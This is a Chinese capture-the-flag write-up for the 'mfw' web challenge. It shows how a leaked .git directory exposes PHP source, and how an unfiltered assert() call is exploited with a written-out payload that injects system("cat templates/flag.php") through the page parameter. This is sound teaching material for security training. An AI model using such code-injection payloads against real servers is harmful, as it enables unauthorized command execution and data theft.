mfw

1)点开，没发现什么有用的

2）继续

3）发现有Git，可能是Git泄露，直接/.git

4）一个个点看看，在index中，ps打开

<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}//以get方式获得一个page变量，如果没有，则设置为home$file = "templates/" . $page . ".php";//将page变量拼接成一个templates下的php文件，设置为变量file// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");//判断file中是否有" .. "，如果有则直接退出
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!")?>

5）其中assert()函数会将括号中的字符当成代码来执行，并返回true或false，strpos()函数会返回字符串第一次出现的位置，如果没有找到则返回False

6）于是重心就放在file变量中，发现file变量是用我们输入的page变量拼接而成的，而且没有任何的过滤，我们可以在这段输入的字符中插入system函数来执行系统命令

$file = "templates/" . $page . ".php";assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

7）注意到调用file时用的单引号和括号来限制file的范围
于是可以构造url为

page=a ') or system("cat templates/flag.php");//

8）因为在strpos中只传入了a，所以其肯定返回false，在利用or让其执行system函数，再用" // "将后面的语句注释掉

9）回车，查看源码

mfw 攻防世界web题（Git泄露）相关推荐

攻防世界Web题 - unseping 总结
攻防世界Web题 - unseping 总结 1.审题进入题目,可以看出来是典型的php反序列化题目. 2.源代码分析 <?php highlight_file(__FILE__); //显示 ...
攻防世界web题ics-06(爆破id值)
打开界面:嚯!这花里胡哨点来点去只有报表中心有回显: 发现url中id等于1,sql注入尝试无果, burp工具爆破id 对id的值进行爆破 burp报ERROR的话这是个bug,先点击Hex后点d ...
《CTF攻防世界web题》之我什么都不会（1）
前言
【ics-05 | mfw】攻防世界CTF题WP
攻防世界CTF题WP ics-05 所需知识解题步骤学习知识 php伪协议(文件包含漏洞中使用) preg_place函数 mfw 所需知识解题步骤学习知识 Dirserach工具 GitHa ...
攻防世界 web高手进阶区 10分题 weiphp
前言继续ctf的旅程开始攻防世界web高手进阶区的10分题本文是weiphp的writeup 解题过程进入界面点击进入一个登陆界面没有注册那肯定得找源码了惯例源码+御剑发现git泄 ...
XCTF攻防世界Web新手入门题大全
XCTF攻防世界Web之WriteUp无图版 (Tips:有图版本,请移步我的资源,自行下载doc文档) 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 vie ...
攻防世界 web高手进阶区 9分题 favorite_number
前言继续ctf的旅程开始攻防世界web高手进阶区的9分题本文是favorite_number的writeup 解题过程进入界面简单的代码审计首先是个判断,既要数组强等于,又要首元素不等然 ...
攻防世界——web新手题
攻防世界----web新手题 1. robots 打开题目场景,发现与robots协议有关,上网搜索robots协议的内容: Robots协议(也称为爬虫协议.机器人协议等)的全称是"网络爬 ...
攻防世界 web高手进阶区 8分题 Web_python_block_chain
前言继续ctf的旅程开始攻防世界web高手进阶区的8分题本文是Web_python_block_chain的writeup 解题过程这是个区块链题这..裂开了啊没搞过区块链从零开始学习 ...
攻防世界[刷题笔记]之Web方向（练习区）（后半）
网络安全学习攻防世界[刷题笔记] Web方向(新手区)(后半) xff_referer webshell command_execution simple_js 小结攻防世界[刷题笔记] Web方 ...

mfw 攻防世界web题（Git泄露）

mfw

mfw 攻防世界web题（Git泄露）相关推荐

最新文章

热门文章

mfw 攻防世界web题 （Git泄露）

mfw

mfw 攻防世界web题 （Git泄露）相关推荐

最新文章

热门文章

mfw 攻防世界web题（Git泄露）

mfw 攻防世界web题（Git泄露）相关推荐